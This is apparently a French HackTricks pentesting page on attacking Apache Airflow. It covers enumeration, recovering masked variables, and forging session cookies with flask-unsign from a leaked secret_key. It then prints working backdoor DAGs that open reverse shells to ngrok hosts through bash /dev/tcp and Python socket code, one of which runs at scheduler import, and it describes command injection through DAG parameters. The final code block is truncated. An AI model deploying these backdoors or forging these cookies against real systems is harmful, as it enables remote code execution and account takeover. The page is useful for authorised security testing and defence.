# Sécurité d'Apache Airflow

{{#include ../../banners/hacktricks-training.md}}

### Informations de base

[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de workflows**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de workflows de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et exploitables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux pour le fonctionnement des applications de big data.

En gros, Apache Airflow vous permettra de **planifier l'exécution de code lorsque quelque chose** (événement, cron) **se produit**.

### Laboratoire local

#### Docker-Compose

Vous pouvez utiliser le **fichier de configuration docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) pour lancer un environnement docker apache airflow complet. (Si vous êtes sur MacOS, assurez-vous de donner au moins 6 Go de RAM à la VM docker).

#### Minikube

Une façon simple de **faire fonctionner apache airflow** est de l'exécuter **avec minikube** :
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release
```
### Configuration d'Airflow

Airflow peut stocker des **informations sensibles** dans sa configuration ou vous pouvez trouver des configurations faibles en place :

{{#ref}}
airflow-configuration.md
{{#endref}}

### RBAC d'Airflow

Avant de commencer à attaquer Airflow, vous devez comprendre **comment fonctionnent les permissions** :

{{#ref}}
airflow-rbac.md
{{#endref}}

### Attaques

#### Énumération de la Console Web

Si vous avez **accès à la console web**, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes :

- **Variables** (Des informations sensibles personnalisées peuvent être stockées ici)
- **Connexions** (Des informations sensibles personnalisées peuvent être stockées ici)
- Accédez-y dans `http://<airflow>/connection/list/`
- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent être stockées ici)
- Liste des **utilisateurs et rôles**
- **Code de chaque DAG** (qui peut contenir des informations intéressantes)

#### Récupérer les Valeurs des Variables

Les variables peuvent être stockées dans Airflow afin que les **DAGs** puissent **accéder** à leurs valeurs. C'est similaire aux secrets d'autres plateformes. Si vous avez **suffisamment de permissions**, vous pouvez y accéder dans l'interface graphique à `http://<airflow>/variable/list/`.\
Airflow affichera par défaut la valeur de la variable dans l'interface graphique, cependant, selon [**ceci**](https://marclamberti.com/blog/variables-with-apache-airflow/), il est possible de définir une **liste de variables** dont la **valeur** apparaîtra sous forme de **caractères masqués** dans l'**interface graphique**.

![](<../../images/image (164).png>)

Cependant, ces **valeurs** peuvent toujours être **récupérées** via **CLI** (vous devez avoir accès à la base de données), exécution de **DAG** arbitraire, **API** accédant au point de terminaison des variables (l'API doit être activée), et **même l'interface graphique elle-même !**\
Pour accéder à ces valeurs depuis l'interface graphique, il suffit de **sélectionner les variables** que vous souhaitez accéder et de **cliquer sur Actions -> Exporter**.\
Une autre méthode consiste à effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez :

![](<../../images/image (152).png>)

#### Escalade de Privilèges

Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, il est possible de **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cette validité peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE dans le worker Airflow)

Si vous avez **un accès en écriture** à l'endroit où les **DAGs sont sauvegardés**, vous pouvez simplement **en créer un** qui vous enverra un **reverse shell.**\
Notez que ce reverse shell sera exécuté à l'intérieur d'un **conteneur de worker airflow** :
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
```

```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE dans le planificateur Airflow)

Si vous définissez quelque chose pour être **exécuté à la racine du code**, au moment de l'écriture de ce document, il sera **exécuté par le planificateur** après quelques secondes après l'avoir placé dans le dossier du DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Création de DAG

Si vous parvenez à **compromettre une machine à l'intérieur du cluster DAG**, vous pouvez créer de nouveaux **scripts DAG** dans le dossier `dags/` et ils seront **répliqués dans le reste des machines** à l'intérieur du cluster DAG.

#### Injection de Code DAG

Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez **passer des arguments** à celui-ci.\
Par conséquent, si le DAG n'est pas correctement codé, il pourrait être **vulnérable à l'injection de commandes.**\
C'est ce qui s'est passé dans ce CVE : [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAGs** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**.

De plus, la même vulnérabilité pourrait se produire avec des **variables** (notez qu'avec suffisamment de privilèges, vous pourriez **contrôler la valeur des variables** dans l'interface graphique). Les variables sont **accessibles avec** :
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
S'ils sont utilisés par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.

{{#include ../../banners/hacktricks-training.md}}
